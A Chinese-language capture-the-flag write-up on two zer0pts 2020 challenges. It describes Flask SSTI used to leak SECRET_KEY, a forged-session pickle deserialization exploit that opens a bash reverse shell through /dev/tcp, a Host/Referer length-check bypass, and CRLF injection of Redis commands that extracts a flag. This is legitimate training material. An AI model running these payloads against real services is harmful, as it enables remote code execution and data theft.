Skip to content

2020_zer0pts_CTF

notepad

Python 代码审计

给了源码 大概有两个地方可能有洞

Python 模版注入

。。。。。。。
@app.errorhandler(404)
def page_not_found(error):
    """ Automatically go back when page is not found """
    referrer = flask.request.headers.get("Referer")

    if referrer is None: referrer = '/'
    if not valid_url(referrer): referrer = '/'

    html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)

    return flask.render_template_string(html), 404
def valid_url(url):
    """ Check if given url is valid """
    print(flask.request.host_url+"\n  url = "+url)
    host = flask.request.host_url

    if not url.startswith(host): return False  # Not from my server
    if len(url) - len(host) > 16: return False # Referer may be also 404

    return True
。。。。。。
看起来404页面可以SSTI,而且看源码没waf没过滤,但是有个 长度限制

Python 反序列化

def load():
    """ Load saved notes """
    try:
        savedata = flask.session.get('savedata', None)
        data = pickle.loads(base64.b64decode(savedata))
    except:
        data = [{"date": now(), "text": "", "title": "*New Note*"}]

    return data
savedata 是从flask的session获取的,伪造session需要拿到flask的 SECRET_KEY

从 上面那个SSTI 通过{{config}}可以获取到SECRET_KEY

;SECRET_KEY&#39;: b&#39;$\xbe\xe8\xe3\xdf\x18.\xb9)7M?,\xb0&amp;&amp;&#39;

RCE 方法一 Python SSTI + Python 反序列化

pickle反序列化

#!/usr/bin/env python
from flask.sessions import SecureCookieSessionInterface
import os, sys, pickle, base64, requests

COMMAND = "bash -c 'bash -i >& /dev/tcp/ip/7778 0>&1'"

class PickleRce(object):
    def __reduce__(self):
        return (os.system,(COMMAND,))

class App(object):
    def __init__(self):
        self.secret_key = None

app = App()
app.secret_key =  b'*\x14{\xa0Hu\xcb\xa6\xdc\x9c\r\xf7Fd\xd2\xaf'

si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)

session = serializer.dumps({'savedata':base64.b64encode(pickle.dumps(PickleRce()))})
print(session)
requests.get('http://192.168.10.132:7010/note/1', cookies = {
    'session': session
})

RCE 方法二 绕过长度限制,直接SSTI

可以看到他长度限制的代码

    print(flask.request.host_url+"\n  url = "+url)
    host = flask.request.host_url

    if not url.startswith(host): return False  # Not from my server
    if len(url) - len(host) > 16: return False # Referer may be also 404
起个flask看看urlhost分别获取到的是什么

请求包

GET /test404 HTTP/1.1
Host: 0.0.0.0:8001/?host
Referer: http://0.0.0.0:8001/?Referer
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en,zh;q=0.9,zh-CN;q=0.8
Connection: close

本地

127.0.0.1 - - [28/Oct/2020 00:17:26] "GET /test404 HTTP/1.1" 404 -
flask.request.host_url ====>   http://0.0.0.0:8001/?host/
                url  ======>   http://0.0.0.0:8001/?Referer
127.0.0.1 - - [28/Oct/2020 00:18:52] "GET /test404 HTTP/1.1" 404 -

长度判断代码

    if not url.startswith(host): return False  # Not from my server
    if len(url) - len(host) > 16: return False # Referer may be also 404
它计算的是HostReferer的差,而且 url的开头与host有个比较,那我们改个请求包的HostReferer 就可以绕过长度限制惹

参考文章
https://zhuanlan.zhihu.com/p/144209798
https://ctftime.org/writeup/18597
https://gitlab.com/zer0pts/zer0pts-ctf-2020/
https://github.com/noraj/flask-session-cookie-manager

urlapp

ruby 代码审计 + redis基础

require 'sinatra'
require 'uri'
require 'socket'

def connect()
  sock = TCPSocket.open("redis", 6379)

  if not ping(sock) then
    exit
  end

  return sock
end

def query(sock, cmd)
  sock.write(cmd + "\r\n")
end

def recv(sock)
  data = sock.gets
  if data == nil then
    return nil
  elsif data[0] == "+" then
    return data[1..-1].strip
  elsif data[0] == "$" then
    if data == "$-1\r\n" then
      return nil
    end
    return sock.gets.strip
  end

  return nil
end

def ping(sock)
  query(sock, "ping")
  return recv(sock) == "PONG"
end

def set(sock, key, value)
  query(sock, "SET #{key} #{value}")
  return recv(sock) == "OK"
end

def get(sock, key)
  query(sock, "GET #{key}")
  return recv(sock)
end

before do
  sock = connect()
  set(sock, "flag", File.read("flag.txt").strip)
end

get '/' do
  if params.has_key?(:q) then
    q = params[:q]
    if not (q =~ /^[0-9a-f]{16}$/)
      return
    end

    sock = connect()
    url = get(sock, q)
    redirect url
  end

  send_file 'index.html'
end

post '/' do
  if not params.has_key?(:url) then
    return
  end

  url = params[:url]
  if not (url =~ URI.regexp) then
    return
  end

  key = Random.urandom(8).unpack("H*")[0]
  sock = connect()
  set(sock, key, url)

  "#{request.host}:#{request.port}/?q=#{key}"
end

大概功能就是做了个类似URL短链接,跳转 用的redis做的数据库

CRLF 注入

漏洞点

  url = params[:url]
  if not (url =~ URI.regexp) then
    return
  end

  key = Random.urandom(8).unpack("H*")[0]
  sock = connect()
  set(sock, key, url)
通过url这个参数可以直接用的set方法,直接CRLF注入 可以直接执行redis命令
CRLP科普

利用jio本

import requests

url='http://127.0.0.1:8004/'
payload = "set tmpdkk test"
query = {'url': 'http://106.15.249.65:7778/?q=\r\n' + payload}
r = requests.post(url, data=query)

题目没得回显的 所以我们开上帝视角康康有没有成功执行

拿flag

before do
  sock = connect()
  set(sock, "flag", File.read("flag.txt").strip)
end

flag被放在 flag这个key

因为if not (q =~ /^[0-9a-f]{16}$/)我们只能通过跳转的url读取到16位的keyvalue

想办法吧flag写到其他的key里

方法一 利用RENAME 写到其他key里读出来
方法二 利用SCRIPT LOAD EVALSHA 写脚本写到其他key里读出来
方法三 利用BITOP 对key做位运算,并把结果保存到新key里

SCRIPT LOAD EVALSHA ===> http://www.redis.cn/commands/eval.html

BITOP ===> https://redis.io/commands/bitop
可能还有其他方法 但是redis.conf ban了许多命令

方法三还是可以的

上帝视角看到已经写到1111111111111111 这个key里去了

但是访问/?q=111111111111111 没回显出来

是因为flag的{符号 被url解析了
所以我们要在结果前面插入个/或者?,让他变成相对路径。这样flag就算有特殊符号,也是在path部分,不会解析出错。
我们可以用setbit通过偏移来改变key的某一位 (setbit

刚才用BITOP把flag和1异或完之后,第一位由z变成了K

K       ====>      0100 1011
?       ====>      0011 1111

payload

SET tmp 1
BITOP XOR 1111111111111111 flag tmp
setbit 1111111111111111 1 0
setbit 1111111111111111 2 1
setbit 1111111111111111 3 1
setbit 1111111111111111 5 1